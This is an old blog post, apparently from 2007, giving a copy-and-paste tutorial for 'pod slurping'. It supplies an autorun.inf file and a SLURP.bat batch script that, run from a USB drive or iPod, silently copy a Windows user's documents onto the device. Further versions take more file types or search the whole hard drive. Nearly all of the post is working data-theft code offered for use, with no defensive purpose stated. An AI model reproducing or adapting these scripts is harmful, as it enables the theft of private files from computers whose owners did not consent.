Search

Google
 

Sunday, July 8, 2007

iPod Slurping: Using a Portable Data Storage device to download data from a computer.

Simple. If you want to create your own Pod Slurping batch file, all you need is notepad, which is included in Windows for free...

First, lets create the autrun script. Copy and paste the text below into Notepad, then save the file as "autorun.inf" (without the quotations)


[autorun]
open=SLURP.bat
action=Press "OK" to get SLURPED
shell\\open\\command=SLURP.bat


Now let’s make the actual batch file. Copy and paste the text below into Notepad, and save the file as "SLURP.bat" (without the quotations)


@echo.
@echo.Slurping in progress...
@echo.
@mkdir %~d0\\%computername%
xcopy "C:\\Documents and Settings\\%username%\\My Documents\\*.doc " %~d0\\%computername% /s/k/c/f/h/y
@echo.
@echo.Slurping Completed.
@echo.
@pause


Copy and paste these two files to a portable drive, such as a flash drive, Ipod, (hence the name Pod Slurping) or other portable media device.

The autorun file causes a window to pop up:



After pressing ok, cmd.exe opens up, and starts copying all .doc files from the computer’s my documents folder to the portable drive:



If you want to change the types of files that are copied to your drive, change the extension in this line:



xcopy "C:\\Documents and Settings\\%username%\\My Documents\\*.doc " %~d0\\%computername% /s/k/c/f/h/y


If you want to copy more than one type of file to your drive, just copy the line above. It should look like this:


@echo.
@echo.Slurping in progress...
@echo.
@mkdir %~d0\\%computername%
xcopy "C:\\Documents and Settings\\%username%\\My Documents\\*.doc" %~d0\\%computername% /s/k/c/f/h/y
xcopy "C:\\Documents and Settings\\%username%\\My Documents\\*.jpg" %~d0\\%computername% /s/k/c/f/h/y
@echo.
@echo.Slurping Completed.
@echo.
@pause


If you would like the batch file to search for files on the WHOLE HARD DRIVE, it will look like this, unless the main drive isn’t c:\\ - to search for additional files, follow the process above, it shouldn’t be too hard to figure out.


@echo.
@echo.Slurping in progress...
@echo.
@mkdir %~d0\\%computername%
xcopy "C:\\*.doc" %~d0\\%computername% /s/k/c/f/h/y
@echo.
@echo.Slurping Completed.
@echo.
@pause

No comments: